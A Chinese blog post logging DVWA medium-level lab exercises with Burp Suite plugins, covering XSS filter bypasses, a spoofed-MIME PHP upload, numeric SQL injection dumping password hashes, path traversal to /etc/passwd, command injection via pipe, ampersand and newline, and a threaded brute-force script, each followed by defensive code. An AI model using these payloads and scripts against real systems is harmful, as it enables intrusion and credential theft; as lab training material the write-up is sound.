burpsuite的进阶版练习,插件与靶场难度提升
难度提升到了medium
安装了一些bp插件
- Logger++ — 解决“history 里找不到请求”
内置 Logger 只能看,Logger++ 能多列过滤、按正则搜索、导出。你昨天遇到“抓了好几条都是 GET /vulnerabilities/api/”,用它一行正则 v[12]/user 就能定位到 XHR。
对 DVWA 的用处:把所有响应按 Content-Length 排序,一眼看出哪条异常。
- Turbo Intruder — 解决“社区版 Intruder 限速 1 req/s”
它是独立引擎,不经过 Community 版 Intruder 的限速通道。写法是一个简短的脚本:
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10, requestsPerConnection=100, pipeline=False) for pwd in open('/tmp/passwords.txt'): engine.queue(target.req, pwd.rstrip())
def handleResponse(req, interesting): if 'Welcome' in req.response: table.add(req)上手比 Intruder 陡,但它是打真实目标时唯一能跑得动的工具——DVWA 上 7 条字典看不出差别,真实目标上 1 req/s 和 100 req/s 是 10 分钟和 1 分钟的区别。
- Hackvertor — 解决“多层编码手算”
它给你一对标签:
<@urlencode>payload<@urlencode><@base64>payload<@base64><@hex_entities>payload<@hex_entities>选中 payload 按 ⌘B 自动套标签,发送时 Burp 会自动编码。做 medium 的 XSS 绕过、双重编码绕 WAF 时,比手敲 %25%32%37 快十倍。
- Autorize — 解决“越权检测靠手动试”
把“低权限用户的 cookie”喂给它,它会把每个请求自动重放一遍并对比响应。原理简单,但省掉大量复制粘贴。
对 DVWA 的用处:Authorisation Bypass、Broken Access Control、API 的 medium 都能用它扫一遍。
一、XSS (Reflected)
看源码
// low$name = $_GET[ 'name' ];$html .= "<pre>Hello {$name}</pre>";
// medium$name = str_replace( '<script>', '', $_GET[ 'name' ] ); // ← 只多了这一行$html .= "<pre>Hello {$name}</pre>";对比low,只多了一行,并且文件开头加了一句header("X-XSS-Protection: 0"),那么思路就是要把 <script>这个字符串删掉
有三种绕过:
- 大小写
输入 <SCRIPT>alert(1)</SCRIPT> → 回显 <SCRIPT>alert(1)</SCRIPT>
str_replace 是大小写敏感的,<SCRIPT> 跟 <script> 不是同一个字符串,一个字符都没被删。浏览器对标签名大小写不敏感,照常执行。
- 换个标签
输入 <img src=x onerror=alert(1)> → 回显 <img src=x onerror=alert(1)>
这个 payload 里根本没有 <script 这个子串。黑名单完全不知道自己在找什么。
- 嵌套
输入 <scr<script>ipt>alert(1)</script> → 回显 <script>alert(1)</script>
这个值得停一下。你把 <script> 塞在 scr 和 ipt 中间,str_replace 老老实实把它删了,结果前后两段拼起来,恰好还原成一个完整的 <script>。过滤动作本身成了组装动作。
抓个包
一样的
GET /vulnerabilities/xss_r/?name=1 HTTP/1.1改name的值
/vulnerabilities/xss_r/?name=%3CSCRIPT%3Ealert(1)%3C/SCRIPT%3E看到返回值
<pre> Hello <SCRIPT> alert(1) </SCRIPT>还可以改
%3Cscr%3Cscript%3Eipt%3Ealert(1)%3C/script%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E返回
<pre> Hello <SCRIPT> alert(1) </SCRIPT><pre> Hello <img src=x onerror=alert(1)> </pre>使用Hackvertor
可以用Hackvertor编码 可以直接写
<@hex_entities>"><img src=x onerror=alert(1)><@hex_entities>然后发送时直接变成
"><img src=x onerror=alert(1)>常用的几个标签
<@hex_entities>—— HTML 十六进制实体,< →<(属性注入首选)<@dec_entities>—— HTML 十进制实体,< →<<@urlencode>—— 只编码特殊字符<@urlencode_all>—— 全编码,连字母都编<@base64> / <@base64d>—— 编码 / 解码<@hex> / <@hexd>—— 十六进制编码 / 解码
二、File Upload
对比low,源码多了
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; // 文件名$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; // ← 类型$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // 大小
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // 允许上传}而在浏览器中
------dvwatestContent-Disposition: form-data; name="uploaded"; filename="m7.php"Content-Type: application/x-php ← 这一行是浏览器写的
<?php echo 7*7; ?>------dvwatestContent-Type 这一行是客户端自己填的字符串。 服务端只是把它读进$_FILES['uploaded']['type']这个变量,然后拿去跟 “image/jpeg” 比较。
那么可以用Content-Type进行绕过
丢bp里看看
随便传张图片
Connection: keep-alive
------WebKitFormBoundary8DBxFYH7AnFGrzzUContent-Disposition: form-data; name="MAX_FILE_SIZE"
100000------WebKitFormBoundary8DBxFYH7AnFGrzzUContent-Disposition: form-data; name="uploaded"; filename="æªå±2026-06-12 15.26.45.png"Content-Type: image/png改一下请求体
Cookie: PHPSESSID=2b8bb834317b0c774d0ed09680f57912; security=mediumConnection: keep-alive
------WebKitFormBoundary8DBxFYH7AnFGrzzUContent-Disposition: form-data; name="MAX_FILE_SIZE"
100000------WebKitFormBoundary8DBxFYH7AnFGrzzUContent-Disposition: form-data; name="uploaded"; filename="1.php"Content-Type: image/png
<?php echo 7*7; ?>------WebKitFormBoundary8DBxFYH7AnFGrzzUContent-Disposition: form-data; name="Upload"
Upload------WebKitFormBoundary8DBxFYH7AnFGrzzU--打开http://127.0.0.1:8888/hackable/uploads/1.php,页面显示49,成功
如何防御
// 1. 真的读文件头,确认是图像$check = getimagesize( $_FILES['uploaded']['tmp_name'] );if ( $check === false ) { 拒绝 }
// 2. 后缀白名单 + 随机重命名$target = $target_dir . generateSessionToken() . '.jpg';
// 3. 上传目录禁止执行(Apache 层配置)// <Directory /var/www/html/hackable/uploads>// php_admin_flag engine off// </Directory>三道防线缺一不可:校验内容 + 重命名后缀 + 目录不可执行。 因为只要上传目录能执行 PHP,前面两道迟早会被绕过。
三、SQL Injection
源码变化
// low$id = $_GET[ 'id' ];$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";// ↑ 有引号 ↑ 有引号
// medium$id = mysqli_real_escape_string( $GLOBALS["___mysqli_ston"], $_POST[ 'id' ] ); // ← 加了转义$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";// ↑ 引号没了!加了一个防御,同时拆掉了一个前提。
mysqli_real_escape_string() 的作用是:把 ’ 变成 ‘,让引号不能提前闭合字符串,没法再用 ’ 跳出字符串了。
这个功能的前提是:你的输入确实处在一个字符串里(被引号包裹)。
而 medium 把引号去掉了。$id 现在直接跟在 = 后面,是一个数字位置。攻击者在这个位置本来就不需要引号,转义对他完全没有约束。
抓包
id=1&Submit=Submit改id的值,尝试
1
ID: 1 First name: admin Surname: admin-
1 AND 1=11 个<pre>块,说明AND 1=1被当成 SQL 语法执行了,而不是被当成字符串 “1 AND 1=1”。这已经证明注入成立。 -
1 OR 1=15 个<pre>块(全表) -
-1 UNION SELECT user,password FROM users#5 个<pre>块,哈希直接显示在 Surname 的位置:
ID: -1 UNION SELECT user,password FROM users#First name: adminSurname: 5f4dcc3b5aa765d61d8327deb882cf991'0 个<pre>块 + Fatal error
Fatal error: Uncaught mysqli_sql_exception:You have an error in your SQL syntax; check the manual that correspondsto your MariaDB server version...那么用
id=1+OR+1%3D1&Submit=Submit- 空格 → + 或 %20
- = → %3D(必须编码,否则会被当成参数分隔符)
#→ %23
得到
<pre> ID: 1 OR 1=1<br /> First name: admin<br /> Surname: admin </pre> <pre> ID: 1 OR 1=1<br /> First name: Gordon<br /> Surname: Brown </pre> <pre> ID: 1 OR 1=1<br /> First name: Bob<br /> Surname: Smith </pre> <pre> ID: 1 OR 1=1<br /> First name: Pablo<br /> Surname: Picasso </pre> <pre> ID: 1 OR 1=1<br /> First name: Bob<br /> Surname: Smith </pre>防御
// 1. 先确认它是纯数字if ( is_numeric( $id ) ) { // 2. 强转成整数,任何非数字字符都会被丢弃 $id = intval( $id ); // 3. 用预处理语句,SQL 和参数彻底分离 $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id);' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute();}四、File Inclusion
还是先看源码
$file = $_GET[ 'page' ];$file = str_replace( array( "http://", "https://" ), "", $file ); // 挡 RFI$file = str_replace( array( "../", "..\\" ), "", $file ); // 挡路径穿越然后 fi/index.php:36 执行 include( $file )。
思路:把 ../ 和 http:// 删掉,就跳不出目录、也加载不了远程文件。
尝试绕过发现
-
page=/etc/passwd和page=....//....//....//....//....//etc/passwd都可以 -
page=../etc/passwd会被拦
使用Logger++ 过滤 + 排序
发五个请求
page=file1.phppage=/etc/passwdpage=../etc/passwdpage=....//....//....//....//....//etc/passwdpage=php://filter/convert.base64-encode/resource=/etc/passwd打开Logger++,可以参照Query来看Length
- 4629 —— file1.php,正常的相对包含
- 4739 —— ../etc/passwd,失败(多了报错文字)
- 5119 —— /etc/passwd 和 …//…,两者一模一样,说明绝对路径和穿越绕过的结果完全相同
- 5400 —— php://filter,base64 撑长了
防护
switch( $file ) { case "file1.php": case "file2.php": case "file3.php": include( $file ); break; default: echo "File not found";}不让用户碰路径,用户只能传文件名,而且只能是白名单里那三个。路径不是”过滤过的用户输入”,而是”固定的常量”。
五、Command Injection
源码:
$substitutions = array( '&&' => '', // 删 && ';' => '', // 删 ;);$target = str_replace( array_keys( $substitutions ), $substitutions, $target );$cmd = shell_exec( 'ping -c 4 ' . $target );黑名单只有两个符号
测试六种输入
-
127.0.0.1 → 425 字符,正常 ping 输出
-
127.0.0.1; id → 输出 0 字符
-
127.0.0.1 && id → 输出 0 字符
-
127.0.0.1 | id → 54 字符,只有 id 的结果
uid=33(www-data) gid=33(www-data) groups=33(www-data)-
127.0.0.1 & id → 479 字符,ping 输出 + id 结果都有 & 是后台执行符:ping … & 把 ping 扔到后台,然后立刻执行 id。两条命令的输出都进了 stdout,所以是 425(ping)+ 54(id)≈ 479
-
127.0.0.1 + 换行 + id → 479 字符,同样成功 换行符 \n 在 shell 里等同于命令分隔符,跟 ; 一样。但黑名单里没有它——str_replace 只认字面上的 ;
而0字符输出可能是陷阱 ; 被删掉之后,输入变成:
ping -c 4 127.0.0.1 idping 收到两个目标:127.0.0.1 和 id。第二个解析不了,报错:
ping: id: Name or service not known但 shell_exec() 只捕获标准输出(stdout),标准错误(stderr)是直接丢弃的。 所以在页面上看到的是空 <pre></pre>。
命令注入里”什么都没出来”不等于”没执行”。可能是:
- 命令执行了但写到了 stderr
- 命令执行了但被管道吃掉,就是只有id结果
|是管道,它把前一条命令的输出当作后一条命令的输入:ping 打出的一大堆文字全被送进 id 的 stdin,id 不读 stdin,所以那些字全部丢弃。页面上只剩 id 自己的输出 - 命令执行了但输出被重定向
用bp
提交127.0.0.1
POST /vulnerabilities/exec/ HTTP/1.1Content-Type: application/x-www-form-urlencoded
ip=127.0.0.1&Submit=Submit改ip
ip=127.0.0.1+%7C+id&Submit=Submit|→ %7C(必须编码,它在 URL 里是特殊字符)- 空格 → +
- 换行 → %0A
用 & 的时候要特别小心:& 在 application/x-www-form-urlencoded 里是参数分隔符。你写 ip=127.0.0.1 & id 会被解析成三个参数:ip=127.0.0.1、 、 id。
必须编码成 %26
ip=127.0.0.1+%26+id&Submit=Submit返回
<pre> uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>Tips — shell 的分隔符
;—— 顺序执行&—— 后台执行&&—— 前一条成功才执行后一条|—— 管道,前一条的 stdout 给后一条||—— 前一条失败才执行后一条\n(%0A)—— 换行,等价于 ;$()—— 命令替换:$(id)—— 反引号命令替换:id$IFS—— 空格替代符,绕”过滤空格”
防护
// 1. 白名单校验:必须是合法 IPif ( filter_var( $target, FILTER_VALIDATE_IP ) === false ) { die( 'Invalid IP address' );}
// 2. 用 escapeshellarg 包裹,把所有特殊字符转义成字面量$cmd = shell_exec( 'ping -c 4 ' . escapeshellarg( $target ) );filter_var(..., FILTER_VALIDATE_IP) —— 从根本上限制”只能是 IP”,注入字符根本进不来
escapeshellarg() —— 即使校验漏了,它会把整个参数用单引号包起来并转义内部的单引号,shell 只会把它当一个字符串参数,不会当代码
六、Brute Force
源码:
if( $result && mysqli_num_rows( $result ) == 1 ) { // 成功:立刻返回 $html .= "<p>Welcome to the password protected area {$user}</p>";} else { sleep( 2 ); // ← 唯一的变化 $html .= "<pre><br />Username and/or password incorrect.</pre>";}失败后睡 2 秒,目的是拖慢爆破。
那么可以根据返回时间判断哪一个是正确答案
用Turbo Intruder
随便输入密码抓包
GET /vulnerabilities/brute/?username=admin&password=11111&Login=Login HTTP/1.1选中11111送进Turbo Intruder,自动变%s
再改下面的脚本
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10, requestsPerConnection=100, pipeline=False)
words = ['password', '123456', 'admin', 'letmein', 'qwerty', 'abc123', 'charley']
for w in words: engine.queue(target.req, w)
def handleResponse(req, interesting): if 'Welcome' in req.response: table.add(req)-
RequestEngine(…) —— 引擎配置
- concurrentConnections=10 —— 同时开 10 个 TCP 连接。这是最关键的参数,直接决定并发度
- requestsPerConnection=100 —— 每个连接复用发 100 个请求,省掉反复握手的开销
- pipeline=False —— 不开 HTTP 流水线。开了更快,但有些服务器不兼容,先用 False
- engine.queue(target.req, w) —— 把 %s 替换成 w,排队发送
-
handleResponse(req, interesting) —— 每个响应回来都会调用一次
- req.response 是响应体字符串
- ‘Welcome’ in req.response —— 命中判据
- table.add(req) —— 把这条加进结果表
注意 target.req 里的 Cookie 是在浏览器里的那个 Session。
接着点run,等待一下可以看到正确的paylaod就是密码
脚本跑不起来可以用
import urllib.request, urllib.parse, http.cookiejar, re, timefrom concurrent.futures import ThreadPoolExecutor
BASE = "http://127.0.0.1:8888"WORDS = ['password','123456','admin','letmein','qwerty','abc123','charley']
cj = http.cookiejar.CookieJar()op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))h = op.open(BASE + "/login.php").read().decode("utf-8","replace")t = re.search(r"name='user_token' value='([0-9a-f]+)'", h).group(1)op.open(BASE + "/login.php", urllib.parse.urlencode( {"username":"admin","password":"password","Login":"Login","user_token":t}).encode())psid = [c.value for c in cj if c.name == "PHPSESSID"][0]
def attempt(pwd): url = BASE + "/vulnerabilities/brute/?" + urllib.parse.urlencode( {"username":"admin","password":pwd,"Login":"Login"}) req = urllib.request.Request(url) req.add_header("Cookie", f"PHPSESSID={psid}; security=medium") t0 = time.time() b = op.open(req).read().decode("utf-8","replace") return pwd, "Welcome" in b, time.time() - t0, len(b)
t0 = time.time()with ThreadPoolExecutor(max_workers=7) as ex: # ← 并发度 for pwd, ok, dt, n in ex.map(attempt, WORDS): flag = " <<< 命中" if ok else "" print(f"{pwd:<10} {dt:5.2f}s len={n}{flag}")print(f"\n总耗时 {time.time()-t0:.2f}s(串行约需 {len(WORDS)*2}s)")进阶练习完结了。
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!